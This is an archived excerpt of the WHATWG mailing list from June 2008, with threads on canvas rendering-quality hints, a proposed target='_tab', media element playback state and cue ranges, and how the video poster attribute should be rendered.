> can't do isn't interesting from the perspective of creating a 
> full-featured platform, IMO.
> 
> No matter how fast smooth/bilinear filtering is, something more complex 
> is always going to be slower, and something less complex is always going 
> to be faster.  If those perf differences are significant to the web app, 
> no matter how small, you're going to want to be able to have that 
> control.  If they're not, then you should just be using 'auto' and let 
> the UA handle it.

On Mon, 2 Jun 2008, David Hyatt wrote:
> 
> I completely agree.  Almost any feature can be abused.  It's not our job 
> to withhold features just because they can be abused.  It's also worth 
> pointing out that this is a common graphical knob supported by Cairo and 
> CoreGraphics. It is a proprietary MS CSS property and an SVG CSS 
> property.  In other words, it seems to be a pretty widely implemented 
> feature and as such seems like it would be a worthwhile addition to 
> canvas.
> 
> If we add this, we should also add support for text rendering quality as 
> well, since canvas is picking up the ability to draw text.

The point is that you have no way to know whether you need to enable the 
speed optimisation or the quality optimisation. Say you're doing something 
which runs fine on a high-end Dell machine, runs ok on a Wii, and runs 
terribly on an iPhone. What setting do you use?


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> The issue is not that certain operations are slower than others, the 
> issue is that anything that requires the developer to choose between 
> performance/quality is going to become obsolete as the performance trade 
> offs are constantly moving and are not the same from UA to UA, from 
> platform to platform.  I think the issue of performance is a complex one 
> that will not benefit in the long term from a simple on off switch.  
> Conceivably we could introduce new rendering primitives, such as 
> CanvasSprite, CanvasLayer, or some such which would, i suspect, provide 
> a similar benefit, but be more resilient in the face of changing 
> performance characteristics.

The decision would have to change over time as well, indeed, something 
which is just as hard for the author to deal with as multiple platforms.


On Tue, 3 Jun 2008, Jerason Banes wrote:
>
> If you don't mind someone weighing in who's been working with the 
> Nintendo Wii for the past year and a half, I have found that the 
> "quality" setting in Flash is tremendously useful. While the march of 
> Moore's law has ensured that Flash on the desktop is zippy, it has also 
> created a gap whereby smaller devices are powerful enough to compete 
> with last generation desktops. For these devices, the quality setting is 
> more than a "nice to have". It's absolutely critical to obtaining decent 
> performance.

Wouldn't it be better for the platform to decide that for itself?


> The algorithm's I've used over on WiiCade automatically adjust for high
> quality when on the desktop, and low to medium quality when on the Wii. This
> provides a more consistent experience to users of both systems. In addition,
> many game provide a quality setting in their options screen. (Similar to the
> rendering features options in most 3D games.) This allows the user to adjust
> the rendering speed manually if he finds his system is too slow or the game
> in question is more than fast enough on the Wii.

Why wouldn't the platform just support that natively instead of requiring 
every Web developer to do it manually?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From jens at meiert.com  Wed Jun 11 03:58:05 2008
From: jens at meiert.com (Jens Meiert)
Date: Wed, 11 Jun 2008 12:58:05 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
	<Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
Message-ID: <9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>

> > What is interesting though is that authors can let open new windows/tabs
> > by HTML, CSS, /and/ scripting. I am not sure if this functionality, that
> > may ultimately impede user experience, can really be considered
> > structural, presentational, /and/ behavioral.
>
> I have no idea what you mean or how it affects the spec.

And you don't have to as it was just a side note. HTML 5 won't resolve
this anyway.

-- 
Jens Meiert
http://meiert.com/en/


From ian at hixie.ch  Wed Jun 11 04:04:16 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 11:04:16 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com> 
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com> 
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com> 
	<Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>
	<9fbcac550806110358t51f57369if121cc89221926ff@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806111103440.6527@hixie.dreamhostps.com>

On Wed, 11 Jun 2008, Jens Meiert wrote:
> > >
> > > What is interesting though is that authors can let open new 
> > > windows/tabs by HTML, CSS, /and/ scripting. I am not sure if this 
> > > functionality, that may ultimately impede user experience, can 
> > > really be considered structural, presentational, /and/ behavioral.
> >
> > I have no idea what you mean or how it affects the spec.
> 
> And you don't have to as it was just a side note. HTML 5 won't resolve 
> this anyway.

Ah. Ok then. :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From lachlan.hunt at lachy.id.au  Wed Jun 11 05:08:10 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Wed, 11 Jun 2008 14:08:10 +0200
Subject: [whatwg] [WF2] |min| and |max| number of selected |option|s
In-Reply-To: <865CD5B4-851A-4977-9859-A5F7CD9D1495@crissov.de>
References: <865CD5B4-851A-4977-9859-A5F7CD9D1495@crissov.de>
Message-ID: <484FC02A.8090804@lachy.id.au>

Christoph P?per wrote:
> Dear WHAT WG
> 
> When using
> 
>   <input type=checkbox>
> 
> or
> 
>   <select multiple>
> 
> one somtimes wants to limit the number of selected check boxes or 
> options.

Could you provide some examples of some sites that need to apply such 
limits, and show how people are currently achieving this?

Are there sites that use JavaScript to achieve this now, perhaps by 
listening for click events on the checkboxes, counting how many are 
checked and then preventing too many being checked.  Or are there sites 
that count how many are checked onsubmit to ensure there aren't too few 
or too many?

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From giecrilj at stegny.2a.pl  Wed Jun 11 11:46:53 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 20:46:53 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>

You can use A.click instead of window.open.  I have ignored the keyboard
shortcut requirement because it is irrelevant.
I agree that modifying window.open to support tabs would be more consistent;
I just wanted to make you realize that neither is it strictly necessary nor
does it require any support from JS itself (your postulated modification of
the window.open interface method is perfectly suited for the current JS
language, I hope?).
HTH,
Chris

-----Original Message-----
From: Borek Bernard [mailto:borekbe at yahoo.co.uk] 
Sent: Wednesday, June 11, 2008 11:27 AM
To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Kristof,

my knowledge of JS is limited but how would you handle this situation:
in your web app, you want to provide a keyboard shortcut for opening
current item into a new tab. You need to invoke this action from JavaScript
so setting CSS to some DOM element is not enough (AFAIK). I think
window.open() would need some new optional parameter or something similar to
support this.

---
Borek





From joao.eiras at gmail.com  Wed Jun 11 12:15:47 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Wed, 11 Jun 2008 20:15:47 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com>
	<C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
Message-ID: <op.uclmghx0jz3wb9@mors.wag54gs>

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>




From giecrilj at stegny.2a.pl  Wed Jun 11 12:42:13 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 21:42:13 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uclmghx0jz3wb9@mors.wag54gs>
References: <939052.3245.qm@web25905.mail.ukl.yahoo.com><C6B0EF87CB2245CF9358DCB797651D0E@POCZTOWIEC>
	<op.uclmghx0jz3wb9@mors.wag54gs>
Message-ID: <3BA5177293B94F689B06FAC8D70513B8@POCZTOWIEC>

For the record: I do not advocate the original recommendation; I only
hypothesized about what can be achieved with CSS instead.  I never
recommended actually doing it.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Joao Eiras
Sent: Wednesday, June 11, 2008 9:16 PM
To: Kristof Zelechovski; 'Borek Bernard'; 'Ian Hickson';
whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>




From robert at ocallahan.org  Wed Jun 11 14:59:30 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Thu, 12 Jun 2008 09:59:30 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
Message-ID: <11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>

On Wed, Jun 11, 2008 at 10:34 PM, Ian Hickson <ian at hixie.ch> wrote:

> Why not just have the UA run in a high quality mode the first time it is
> painted on, but if the script tries to paint again within a certain amount
> of time, switch to high speed?
>

This makes sense.

However, there is still a potential use case for speed vs quality hints:
when the author wants to treat some content on the page as visually more
important than other content. For example, you might have a gallery page
with a bunch of unimportant bling around the actual image/canvas you care
about.

I'm unsure whether that's realistic enough to justify supporting hints.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080612/15fefea1/attachment-0001.htm>

From ian at hixie.ch  Wed Jun 11 17:36:15 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:36:15 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
Message-ID: <Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>

On Fri, 16 May 2008, Antti Koivisto wrote:
> 
> [It would be nice to have a read-only attribute (called "playing" for 
> example) that would be true when the element is "actively playing". 
> Knowing if the playback is progressing is necessary for implementing 
> basic playback UIs with JS. It is clumsy and not very obvious that you 
> need to do "var playing = !video.paused && !video.ended && 
> video.readyState >= HTMLMediaElement.CAN_PLAY" to get this information.]
> 
> For example a simple playing state indicator:
> 
> function updatePlayState() {
> 	var playIndicator = document.getElementById("playIndicator");
> 	var playing = !video.paused && !video.ended && video.readyState >=
>          HTMLMediaElement.CAN_PLAY;
> 	playIndicator.className = playing ? "playing" : "stopped";
> }
> video.addEventListener("play", updatePlayState);
> video.addEventListener("pause", updatePlayState);
> video.addEventListener("ended", updatePlayState);
> video.addEventListener("waiting", updatePlayState);

I don't think I've ever seen a video player that shows this indicator. 
Could you show me an example of a video player UI that does this?


> Knowing whether media is playing or not is needed for other common UI elements
> too, for example to activate/deactivate time display timer,

I don't think the visibility of the time display timer in a typical video 
UI is actually directly correlated to the playback state. Again, could you 
show an example of this?


> to do play/pause button etc.

The state of a play/pause button is definitely not correlated to the 
playback state. It's correlated to the "paused" boolean.


> A direct way to get this information (along with an associated event) 
> would be good for API usability I think:
> 
> function updatePlayState() {
> 	var playIndicator = document.getElementById("playIndicator");
> 	playIndicator.className = video.activelyPlaying ? "playing" :
> "stopped";
> }
> video.addEventListener("playstatechanged", updatePlayState);
> 
> Of course it is sort of syntactical sugar...

It's syntactical sugar for something which, in practice, I don't think 
anyone would actually use.

If you know of any examples of video players that actually would (if 
reimplemented in HTML) make use of this, though, that would be a different 
matter.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 17:42:25 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:42:25 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599EECEF8@GVW0436EXB.americas.hpqcorp.net>
	<Pine.LNX.4.62.0805162219030.12907@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <Pine.LNX.4.62.0806120036430.8559@hixie.dreamhostps.com>

On Fri, 16 May 2008, James Justin Harrell wrote:
>
> The current HTMLMediaElement interface is inconsistent and is designed 
> in such a way that making changes to it will be extremely difficult.
> 
> The network state is given by the "networkState" attribute, and is one 
> of: EMPTY, LOADING, LOADED_METADATA, LOADED_FIRST_FRAME, LOADED
> 
> The ready state is given by the "readyState" attribute, and is one of: 
> DATA_UNAVAILABLE, CAN_SHOW_CURRENT_FRAME, CAN_PLAY, CAN_PLAY_THROUGH
> 
> Although adding states for either of these would not be fun, it could be 
> done. But the playback state is different.
> 
> The consistent and upgradeable design would be to have a "playbackState" 
> attribute that is one of: PAUSED, PLAYING
> 
> But because there are currently only two states, we instead have a 
> single boolean attribute. Boolean attributes are great when you're sure 
> there will always be only two states, but they're terrible if there's a 
> chance you'll want to add additional states.
> 
> It isn't difficult to imagine all kinds of additional playback states. 
> For example, what if there was great demand for forward-seeking and 
> backward-seeking states? (e.g. the states that are usually associated 
> with those >> and << buttons) How could those states be added?

This is already supported, and is independent of the pause state. (You 
could easily imagine a UI where you could pause while fast-forwarding.)


> The media error state is also inconsistent, and this time for no 
> apparent reason, although it would at least be easy to update. A more 
> consistent design would be to have an "errorState" attribute that is one 
> of: NO_ERROR, ABORTED, NETWORK_ERROR, DECODING_ERROR

We want to be able to include much more information, hence the use of an 
object for now.


> And why are the error state names prefixed with "MEDIA_ERR" when the 
> names for the other states are not prefixed? e.g. LOADING instead of 
> MEDIA_NET_LOADING.

The other state constants are prefixed (LOAD and CAN_ respectively) except 
for the zero state (which doesn't have a constant at all for errors).


On Fri, 16 May 2008, Maciej Stachowiak wrote:
> > 
> > But because there are currently only two states, we instead have a 
> > single boolean attribute. Boolean attributes are great when you're 
> > sure there will always be only two states, but they're terrible if 
> > there's a chance you'll want to add additional states.
> 
> I'm not sure adding states is all that safe. Any code that does a switch 
> on the state would now fall through to an untested code path.

Indeed, we're unlikely to ever add states, we're more likely to add 
orthogonal attributes.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 17:46:16 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 00:46:16 +0000 (UTC)
Subject: [whatwg] Some media element details
In-Reply-To: <57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com>
	<Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599EECEF8@GVW0436EXB.americas.hpqcorp.net>
	<Pine.LNX.4.62.0805162219030.12907@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D0599F7985B@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <Pine.LNX.4.62.0806120042350.8559@hixie.dreamhostps.com>

On Fri, 23 May 2008, Bonner, Matt (IPG) wrote:
> > > > > 
> > > > > Knowing if the playback is progressing is necessary for 
> > > > > implementing basic playback UIs with JS. It is clumsy and not 
> > > > > very obvious that you need to do "var playing = !video.paused && 
> > > > > !video.ended && video.readyState >= HTMLMediaElement.CAN_PLAY" 
> > > > > to get this information.
> > > >
> > > > What's the use case?
> > >
> > > Wouldn't you want something like that to know, for example, whether 
> > > to display a "play" or a "pause" button?
> > 
> > We have that -- the "paused" attribute. When it's true, show play, and 
> > when it's paused, show false. You don't want to show play when the 
> > reason you aren't playing is that you're buffered or seeking for 
> > instance. The client is trying to play. It can't.
> 
> Well I said "for example," so let's pick another example. Wouldn't you 
> need the state described to figure out whether enabling the 
> pause/fast-forward/rewind buttons makes sense?

Why would you disable the pause button when playing? Or when seeking? The 
pause button's disable state, as far as I can tell, need only be related 
to whether there is any media at all and whether the media playback is 
paused, not whether it is actively playing.

Similarly for fast-forward. You can fast-forward from the paused state and 
from the playing state. It doesn't matter whether the media is actually 
playing or not.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 18:00:05 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 01:00:05 +0000 (UTC)
Subject: [whatwg] ***DHSPAM***  re-thinking "cue ranges"
In-Reply-To: <p06240815c45b6fd246a1@[10.0.1.8]>
References: <p06240815c45b6fd246a1@[10.0.1.8]>
Message-ID: <Pine.LNX.4.62.0806120047010.8559@hixie.dreamhostps.com>

On Thu, 22 May 2008, Dave Singer wrote:
>
> WARNING:  this email is sent to both the WhatWG and W3C Public HTML 
> list, as it is a proposal.  Please be careful about where you 
> reply/follow-up to.  The editors may have a preference (and if they do, 
> I hope they express it).

My preference is to one list, either is fine. I've only cc'ed whatwg on 
this one, chosen merely because that's where most of the video discussion 
has been recently.


> In the current HTML5 draft cue ranges are available using a DOM API.
> 
> This way of doing ranges is less than ideal.
> 
> First of all, it is hard to use. The ranges must be added by script, 
> can't be supplied with the media, and the callbacks are awkward to 
> handle. The only way to identify the range a received callback applies 
> to is by creating not one but two separate functions for each range: one 
> for enter, one for exit. While creating functions on-demand is easy in 
> JavaScript it does fall under advanced techniques that most authors will 
> be unfamiliar with.

One of the features proposed for the next version of the video API is 
chapter markers and other embedded timed metadata, with corresponding 
callbacks for authors to hook into. Would that resolve the problem you 
mention?


> This kind of feature is also not available in all languages that might 
> provide access to the DOM API.

JavaScript is really the only concern from HTML5's point of view; if other 
languages become relevant, they should get specially-crafted APIs for 
them when it comes to this kind of issue.


> Secondly this mechanism is not very powerful. You can't do anything else 
> with the ranges besides receiving callbacks and removing them. You can't 
> modify them. They are not visible to scripts or CSS. You can't link to 
> them. You can't link out from them.

I'm not sure what it would really mean to link to or from a range, unless 
you turned the entire video into a link, in which case you can just wrap 
the <video> in an <a href=""> element for the duration of the range, using 
script.


> Thirdly, a script is somewhat strange place to define the ranges. A set 
> of ranges usually relates closely to some particular piece of media 
> content. The same set of ranges rarely makes much sense in the context 
> of some other content. It seems that ranges should be defined or 
> supplied along with the media content.

For in-band data, callbacks for chapter markers as mentioned earlier seem 
like the best solution.

For out-of-band data, if the ranges are just intended to trigger script, I 
don't think we gain much from providing a way to mark up ranges semi- 
declaratively as opposed to just having HTML-based media players define 
their own range markup and have them implement it using this API. It 
wouldn't be especially hard.


> Fourth, this kind of callback API is pretty strange creature in the HTML 
> specification. The only other callback APIs are things like setTimeout() 
> and the new SQL API which don't have associated elements. Events are the 
> callback mechanism for everything else.

Events use callbacks themselves, so it's not that unusual.

I don't really think events would be a good interface for this. 
Consistency is good, but if one can come up with a better API, it's better 
to use that than just be consistent for the sake of it.



> In SMIL the equivalent concept is the <area> element which is used like this:
> <video src="http://www.example.org/CoolStuff">
>            <area id="area1" begin="0s" end="5s"/>
>            <area id="area2" begin="5s" end="10s"/>
> </video>
> 
> This kind of approach has several advantages.
> * Ranges are defined as part of the document, in the context of a particular
> media stream.

I'm not sure why that is an advantage in the context of HTML.


> * This uses events, a more flexible and more appropriate callback mechanism.

I don't really see why the flexibility of events is useful here, and I 
don't see why it's more appropriate.


> * The callbacks have a JavaScript object associated with them, namely a DOM
> element, which carries information about the range.

That's useful, yes. Should we include some data with the callback? We 
could include the class name, the start time, and the end time. Having 
said that, it's easy to use currying here to hook callbacks that know what 
they're expecting.


> We would like to suggest a <timerange> element that can be used as a 
> child of the <video> and <audio> elements.

It's not clear to me that this is solving any problems worth solving.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Thu Jun 12 00:15:39 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 07:15:39 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213027282.6676.43.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>

On Tue, 3 Jun 2008, Philip J?genstedt wrote:
> 
> I'm a bit puzzled about how to interpret the poster attribute on 
> HTMLVideoElement:
> 
> "The poster attribute gives the address of an image file that the user 
> agent can show while no video data is available. The attribute, if 
> present, must contain a URI (or IRI)."
> 
> Is the intention that this image should be stretched to the size of the 
> video element, or that it should be centered in the frame?

Technically that's up to the UA. However, the spec says of <img> that "An 
img element represents an image" and says of <video> that "When no video 
data is available (the element's networkState attribute is either EMPTY, 
LOADING, or LOADED_METADATA), video elements represent either the image 
given by the poster attribute, or nothing".

So, to summarise, an <img> represents its src="", and a <video> represents 
its poster="". So use the same mechanism (stretching the image to fit the 
box dimensions) for both.


> If the width and height attributes are not given, should the video 
> element initially be given the size of the poster image, or should the 
> user agent wait until it has the dimensions of the video (thereby making 
> the poster useless)?

This isn't currently defined (even without a poster, as far as I can 
tell), but my intention would be to not make the poster affect the 
intrinsic dimensions, and for the default, in the absence of video data, 
is 300x150.

(Both of these questions will likely get answered to some extent in the 
rendering section, hopefully.)


On Tue, 3 Jun 2008, Tab Atkins Jr. wrote:
> 
> Just for similar-implementation-ideas, flvplayer simply aligns the 
> poster image to the upper-left of the object element, with no scaling at 
> all.  If width and height are not given, it simply doesn't display at 
> all.
> 
> Unless there's already some alternate intent, I suggest <video> scale to 
> the poster's size if no explicit size is given.

The problem with scaling to the poster's size is that it would make the 
veo resize twice e (300x150 -> poster -> video) instead of just once 
(300x150 blank, then poster -> video).


On Mon, 9 Jun 2008, Philip J?genstedt wrote:
> 
> Reading 
> http://lists.w3.org/Archives/Public/public-html/2007Oct/0108.html it is 
> clear that the intention of the poster attribute is to represent a still 
> image from the video. This should probably be made explicit in the spec 
> with something in the style of:
> 
> The poster image typically represents a still frame of video.

This will be covered by an introduction section in due course, I expect.


> User agents must (may?) take this into account by applying the same 
> rules as for rendering video (aspect ratio correction, scaling, 
> centering).

Should aspect ratio correction be done for poster images? What if 
different videos have different aspect ratios? It would be bad for the 
poster frame to be rendered at different ratios as the UA tries each video 
in turn.


> HTTP 4xx and 5xx errors (and equivalents in other protocols) must (may?) 
> cause the user agent to ignore the poster attribute.

Well what else are they going to do? HTTP already requires this as far as 
I can tell.


> This needs to be clear as there are two quite natural interpretations of 
> what kind of image "the user agent can show while no video data is 
> available". The first is an unscaled, centered "click to play" button, 
> while the second is a scaled, centered and aspect ratio corrected still 
> frame from the video.

I'm not sure a fake button (which wouldn't actually work anyway) is a 
natural interpretation of "poster frame". :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From philipj at opera.com  Thu Jun 12 00:58:14 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 09:58:14 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
Message-ID: <1213257494.6562.56.camel@nog.bredbandsbolaget.se>

On Thu, 2008-06-12 at 07:15 +0000, Ian Hickson wrote:
> So, to summarise, an <img> represents its src="", and a <video> represents 
> its poster="". So use the same mechanism (stretching the image to fit the 
> box dimensions) for both.

Fair enough.

> This isn't currently defined (even without a poster, as far as I can 
> tell), but my intention would be to not make the poster affect the 
> intrinsic dimensions, and for the default, in the absence of video data, 
> is 300x150.

> The problem with scaling to the poster's size is that it would make the 
> veo resize twice e (300x150 -> poster -> video) instead of just once 
> (300x150 blank, then poster -> video).

If poster is to <video> what src is to <img>, then surely the video
element should take the size of the poster image if no width/height is
given? This is certainly my preference, as width/height would otherwise
effectively be mandatory when poster is used, which would in turn
require the poster to be of the same size as the video unless one is to
be scaled. That the element may be resized twice is not a problem, at
least not implementation-wise. As some container formats allow changing
the video frame size mid-stream (notably chained Ogg streams, so called
sequential multiplexing) the UA could possibly resize the video element
an unlimited number of times, so handling that is necessary anyway. On
that note, perhaps an event to notify JavaScript UIs of such changes
would be useful/necessary. Perhaps reusing "resize" event would be the
best, other names could be "videochange" or "sizechange".

> Should aspect ratio correction be done for poster images? What if 
> different videos have different aspect ratios? It would be bad for
> the 
> poster frame to be rendered at different ratios as the UA tries each
> video 
> in turn.

Good point, assuming 1:1 pixel ratio for poster images makes more sense,
even if it means tools for automatically generating poster images will
have to perform aspect ratio correction.

> > HTTP 4xx and 5xx errors (and equivalents in other protocols) must
> (may?) 
> > cause the user agent to ignore the poster attribute.
> 
> Well what else are they going to do? HTTP already requires this as far
> as 
> I can tell.

It appears that Safari shows a little X symbol instead, but perhaps
specifying this behavior is not necessary. We will likely ignore the
poster attribute entirely instead.

